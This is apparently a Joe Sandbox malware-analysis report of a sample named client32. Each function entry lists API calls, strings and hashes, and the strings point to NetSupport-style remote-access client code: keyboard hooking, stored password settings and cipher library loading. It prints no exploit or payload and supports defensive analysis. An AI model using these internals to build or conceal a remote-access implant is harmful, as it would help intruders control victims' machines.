Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $18/11/16 11:28:14 V12.10F20$562258$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-878608103
Opcode ID: 4844477a3dfa00db22a4a3eae4f5fa09477cc507549c10b77b16c479c19a4a69
Instruction ID: db6713792a15d7fd58b1be38af693bfb3b21aad0558d55bfb54ca6815a31c46c
Opcode Fuzzy Hash: 4844477a3dfa00db22a4a3eae4f5fa09477cc507549c10b77b16c479c19a4a69
Instruction Fuzzy Hash: B1C1EF75E4127A9BEB22CF918C94FEDF7B9BB48308F8044E9E559A7240D6706E80CB51

Function 11142010 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 266
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,00000000,?), ref: 11142063
FreeLibrary.KERNEL32(00000000), ref: 111420D3
LoadLibraryA.KERNEL32(imm32,?,?,00000000,?), ref: 111420F6
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 11142155
_memset.LIBCMT ref: 11142169
LoadCursorA.USER32(00000000,00007F00), ref: 111421B9
GetStockObject.GDI32(00000000), ref: 111421C3
RegisterClassExA.USER32(?), ref: 111421DA
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,?), ref: 11142272
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11142287
SetTimer.USER32(00000000,00000000,000003E8,1113D980), ref: 111423AA
#17.COMCTL32(?,?,?,00000000,?), ref: 111423D8
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,?), ref: 111423E3

Part of subcall function 11017A40: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,AB86ACF8,11030346,00000000), ref: 11017A6E
Part of subcall function 11017A40: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 11017A7E
Part of subcall function 11017A40: GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 11017AC2
Part of subcall function 11017A40: FreeLibrary.KERNEL32(00000000), ref: 11017AE8

Part of subcall function 110CCC90: CreateWindowExA.USER32(00000000,button,11195264,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000000,00000000), ref: 110CCCC9
Part of subcall function 110CCC90: SetClassLongA.USER32(00000000,000000E8,110CCA10), ref: 110CCCE0

Strings

NSMWClass, xrefs: 11142147, 111421D3
*quiet, xrefs: 1114211D
User32.dll, xrefs: 11142057
_debug, xrefs: 111422E1
pcihooks, xrefs: 1114226D
InitUI (%d), xrefs: 1114203C
_License, xrefs: 11142122
TraceCopyData, xrefs: 111422DC
imm32, xrefs: 111420EC
riched32.dll, xrefs: 111423DE
View, xrefs: 111422C1
HookKeyboard, xrefs: 11142281
NSMGetAppIcon(), xrefs: 11142196
UI.CPP, xrefs: 11142191, 111421EC

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$Load$Class$AddressCreateFreeProc$CursorEventInfoLongObjectRegisterStockTimerWindow_memset
String ID: *quiet$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 3706574701-3145203681
Opcode ID: c8cd067e95ed8df30712ab26ad1b5c3d5f0c1ca3db4a3fb2271c70030aa03097
Instruction ID: dd3f645cf5ef2db3b7f5f54c26e54504db449fd0c20b07bc67f1527c65be20eb
Opcode Fuzzy Hash: c8cd067e95ed8df30712ab26ad1b5c3d5f0c1ca3db4a3fb2271c70030aa03097
Instruction Fuzzy Hash: F8A18CB8E02266DFDB01DFE5D9C4AA9FBB4BB0870CF60453EE125A7648E7305484CB55

Function 11028C10 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,73AA1370,?,0000001A), ref: 11028CFD
_strrchr.LIBCMT ref: 11028D0C

Part of subcall function 1116558E: __stricmp_l.LIBCMT ref: 111655CB

Strings

product.dat, xrefs: 11028CC0, 11028D11
SupportEMail, xrefs: 11028FE5
NSSName, xrefs: 11028F55
??I, xrefs: 11029317
SupportsAndroid, xrefs: 110291A2
SupportWWW, xrefs: 11028FB5
??F, xrefs: 11029290
NSSAppDataDir, xrefs: 11029045
NSMAppDataDir, xrefs: 11029015
SupportsChrome, xrefs: 11029106
LongName, xrefs: 11028E95
TLA, xrefs: 11028F25
NSSConfName, xrefs: 11029075
AssistantName, xrefs: 110290AC
Home, xrefs: 11028EF5
NSSTLA, xrefs: 11028F85
ShortName, xrefs: 11028EC5
Name, xrefs: 11028E5E
\, xrefs: 11028C8C
AssistantURL, xrefs: 110290D9
TechConsole, xrefs: 1102913D
NSSLongCaption, xrefs: 11029175

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: bda617b4801821ad68c06afa38a0a882f0d0530b8b097215d3e19e3faa20ac69
Instruction ID: 6dd15402a7eb79c0789e25bc58f14fe58cbd6334f89e1d0f8744b7b944579b3b
Opcode Fuzzy Hash: bda617b4801821ad68c06afa38a0a882f0d0530b8b097215d3e19e3faa20ac69
Instruction Fuzzy Hash: 86120738D052A68FDB16CF64CC84BE8B7F4AB1634CF5000EED9D597601EB72568ACB52

Function 11030EF3 Relevance: 40.6, APIs: 10, Strings: 13, Instructions: 350
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 11030F12
RegCloseKey.KERNEL32(?), ref: 11031037

Part of subcall function 111648ED: __isdigit_l.LIBCMT ref: 11164912

GetStockObject.GDI32(0000000D), ref: 110312E6
GetObjectA.GDI32(00000000,0000003C,?), ref: 110312F6
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11031334
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1103133A
InterlockedExchange.KERNEL32(01578D80,00001388), ref: 110313BA
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110313EC

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75BF8400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

Strings

j, xrefs: 11031341
CurrentMinorVersionNumber, xrefs: 11031000
*, xrefs: 11031381
&, xrefs: 11031585
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 11030EFE
pcicl32, xrefs: 110314C5
, xrefs: 110313C2
Error %s unloading audiocap dll, xrefs: 11031603
j0U, xrefs: 11031554
CurrentMajorVersionNumber, xrefs: 11030FCD
CurrentVersion, xrefs: 11030F35
.%d, xrefs: 110313F6
3, xrefs: 11031066

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$CloseExchangeInterlockedOpenQueryStockValue__isdigit_l
String ID: .%d$3$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$Error %s unloading audiocap dll$SOFTWARE\Microsoft\Windows NT\CurrentVersion$j0U$pcicl32$&$*$j$
API String ID: 1620732580-3468083601
Opcode ID: 57ef328ae7d238af9a72f0207df80887d2bea8460ebc5795ade3b7fe5304f569
Instruction ID: ba3a9277cc9c02863ea6a287e3bfaf4f3c25cdbc6a51068d255f8e3b0b30a81f
Opcode Fuzzy Hash: 57ef328ae7d238af9a72f0207df80887d2bea8460ebc5795ade3b7fe5304f569
Instruction Fuzzy Hash: A0D10AB0E153659FEF11CBB48C84BEEFBF4AB84308F1445E9E419A7284EB756A40CB51

Function 110869D0 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 11086A5C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11086A7A
LoadLibraryA.KERNEL32(?), ref: 11086ABC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11086AD7
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 11086AEC
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 11086AFD
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 11086B0E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 11086B1F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11086B30

Strings

CipherServer_ResetSession, xrefs: 11086B5D
CipherServer_DecryptBlocks, xrefs: 11086B3B
CipherServer_EncryptBlocks, xrefs: 11086B2A
CipherServer_GetInfoBlock, xrefs: 11086AF7
CipherServer_GetRandomData, xrefs: 11086B4C
CipherServer_Destroy, xrefs: 11086AE6
CipherServer_CloseSession, xrefs: 11086B19
CryptPak.dll, xrefs: 11086A2B, 11086A8E
CipherServer_OpenSession, xrefs: 11086B08
CipherServer_Create, xrefs: 11086AD1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: ae871db5d7610564588830e50a3b7e849eec5d3f4cd297b35e657d5bd847a740
Instruction ID: dace89b413b7c80efca81dff4c2248eaeba40c207e9952549beb6cb8df15ad3c
Opcode Fuzzy Hash: ae871db5d7610564588830e50a3b7e849eec5d3f4cd297b35e657d5bd847a740
Instruction Fuzzy Hash: 6551D174A043499BD710DF7ADC80AA6FBE8AF54308B1685AED889C7684DB71E844CF54

Function 11142400 Relevance: 37.4, APIs: 3, Strings: 18, Instructions: 677registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 111424BA

Strings

NSM.LIC, xrefs: 111424C0
Del [%s]%s=%s, xrefs: 11142A15
IKS.LIC, xrefs: 111424DF, 111424E6, 1114250D
Info. Policy changed - reload transports..., xrefs: 11142BB6
IsA(), xrefs: 11142C4D
_debug, xrefs: 11142966
client, xrefs: 111428E3
Chg [%s]%s=%s, xrefs: 11142A75
client., xrefs: 111428C6
Warning. Can't calc AD policy changes, xrefs: 11142905
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11142C48
TracePolicyChange, xrefs: 11142961
RoomSpec, xrefs: 11142947, 11142BFA
Info. Lockup averted for AD policy changes, xrefs: 1114269D, 111426C4
Info. Policy changed - re-initui, xrefs: 11142B92
Add [%s]%s=%s, xrefs: 111429B6
NSA.LIC, xrefs: 111424CF
Client, xrefs: 1114294C, 11142BFF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$IKS.LIC$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-1834795898
Opcode ID: 94a73b77105bd84d94668242f28501390e16c566680df690e894548eff980490
Instruction ID: 10cc70918df64a5c5cf34de13f95fa07aae05e5e56373ca92022ad8c72469b22
Opcode Fuzzy Hash: 94a73b77105bd84d94668242f28501390e16c566680df690e894548eff980490
Instruction Fuzzy Hash: 69420874E002699FEB11CB60DD50FEEFB75AF95708F1040D8D909A7681EB72AAC4CB61

Function 11074CD0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

InitializeCriticalSection.KERNEL32(0000000C,?,?), ref: 11074DB5
InitializeCriticalSection.KERNEL32(00000024,?,?), ref: 11074DBB
InitializeCriticalSection.KERNEL32(0000003C,?,?), ref: 11074DC1
InitializeCriticalSection.KERNEL32(0000DB1C,?,?), ref: 11074DCA
InitializeCriticalSection.KERNEL32(00000054,?,?), ref: 11074DD0
InitializeCriticalSection.KERNEL32(0000006C,?,?), ref: 11074DD6
_strncpy.LIBCMT ref: 11074E38
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,?), ref: 11074E9F
CreateThread.KERNEL32(00000000,00004000,Function_00070F90,00000000,00000000,?), ref: 11074F3C
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 11074F43
SetTimer.USER32(00000000,00000000,000000FA,110641A0), ref: 11074F87
std::exception::exception.LIBCMT ref: 11075038
__CxxThrowException@8.LIBCMT ref: 11075053

Strings

..\ctl32\Connect.cpp, xrefs: 11074DE6
General, xrefs: 11074E55, 11074E85, 11074EF8
destroy_queue == NULL, xrefs: 11074DEB
Password, xrefs: 11074EF3
RememberPassword, xrefs: 11074E50
DefaultUsername, xrefs: 11074E80

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$ChangeCloseCreateEnvironmentException@8ExpandFindNotificationStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 328462399-1497550179
Opcode ID: ab7e60a43ed30bbed14256cc4f133f9afa5d8c2c4f84f2114a22e1cdf39ff5f9
Instruction ID: be8de8c7dcaf1f52642e817c04f951357ea42bbf71f0edf47656a93d7d63f3b4
Opcode Fuzzy Hash: ab7e60a43ed30bbed14256cc4f133f9afa5d8c2c4f84f2114a22e1cdf39ff5f9
Instruction Fuzzy Hash: 0FB1C6B5E40359AFD711CBA4CD84FD9FBF4BB48304F0045A9E64997281EBB0B944CB65

Function 11139A70 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75BF8400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

PostMessageA.USER32(00040270,000006CF,00000007,00000000), ref: 11139C4F

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

SetWindowTextA.USER32(00040270,00000000), ref: 11139CF7
IsWindowVisible.USER32(00040270), ref: 11139DBC
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11139DDC
IsWindowVisible.USER32(00040270), ref: 11139DEA
SetForegroundWindow.USER32(00000000), ref: 11139E18
EnableWindow.USER32(00040270,00000001), ref: 11139E27
IsWindowVisible.USER32(00040270), ref: 11139E78
IsWindowVisible.USER32(00040270), ref: 11139E85
EnableWindow.USER32(00040270,00000000), ref: 11139E99
EnableWindow.USER32(00040270,00000000), ref: 11139DFF

Part of subcall function 11132120: ShowWindow.USER32(00040270,00000000,?,11139EA2,00000007,?,?,?,?,?,00000000), ref: 11132144

EnableWindow.USER32(00040270,00000001), ref: 11139EAD

Strings

LockedText, xrefs: 11139BCF
ShowUIOnConnect, xrefs: 11139C2D
ConnectedText, xrefs: 11139B88, 11139B97
HideWhenIdle, xrefs: 11139AEC
Client, xrefs: 11139AF1, 11139B9B, 11139BD4, 11139C32
ViewedText, xrefs: 11139B7B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 77f0fc716c5108730fe3721f30b933414b82ace8a427d74df6603177c94951ec
Instruction ID: ba9ac0b981c1f0862d5fa69d940274f40709b6541bdede94fe31ed47de48390e
Opcode Fuzzy Hash: 77f0fc716c5108730fe3721f30b933414b82ace8a427d74df6603177c94951ec
Instruction Fuzzy Hash: 64C12B75A1127A9BEB11DBE0CD81FAAF766ABC032DF040438E9159B28CF775E444C791

Function 110305F5 Relevance: 31.6, APIs: 5, Strings: 13, Instructions: 149
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 11030645
PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11030797

Strings

NSMWClass, xrefs: 1103062F
Default, xrefs: 1103078B, 110307BA, 110307E3
NSMWControl32, xrefs: 11030792
_debug, xrefs: 110306A4
Global\NSMWClassAdmin, xrefs: 1103063A
TCPIP, xrefs: 11030743
NSTWControl32, xrefs: 110307EA
TraceIPC, xrefs: 1103069F
Ready, xrefs: 11030801
*ListenPort, xrefs: 1103073E
NSSWControl32, xrefs: 110307C1
UseIPC, xrefs: 1103066C
Client, xrefs: 11030671

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePostwsprintf
String ID: *ListenPort$Client$Default$Global\NSMWClassAdmin$NSMWClass$NSMWControl32$NSSWControl32$NSTWControl32$Ready$TCPIP$TraceIPC$UseIPC$_debug
API String ID: 875889313-3431570279
Opcode ID: 52e4332a4f1a6695b503962eca77932fd89c869ac73ece535db52d27cb53eafb
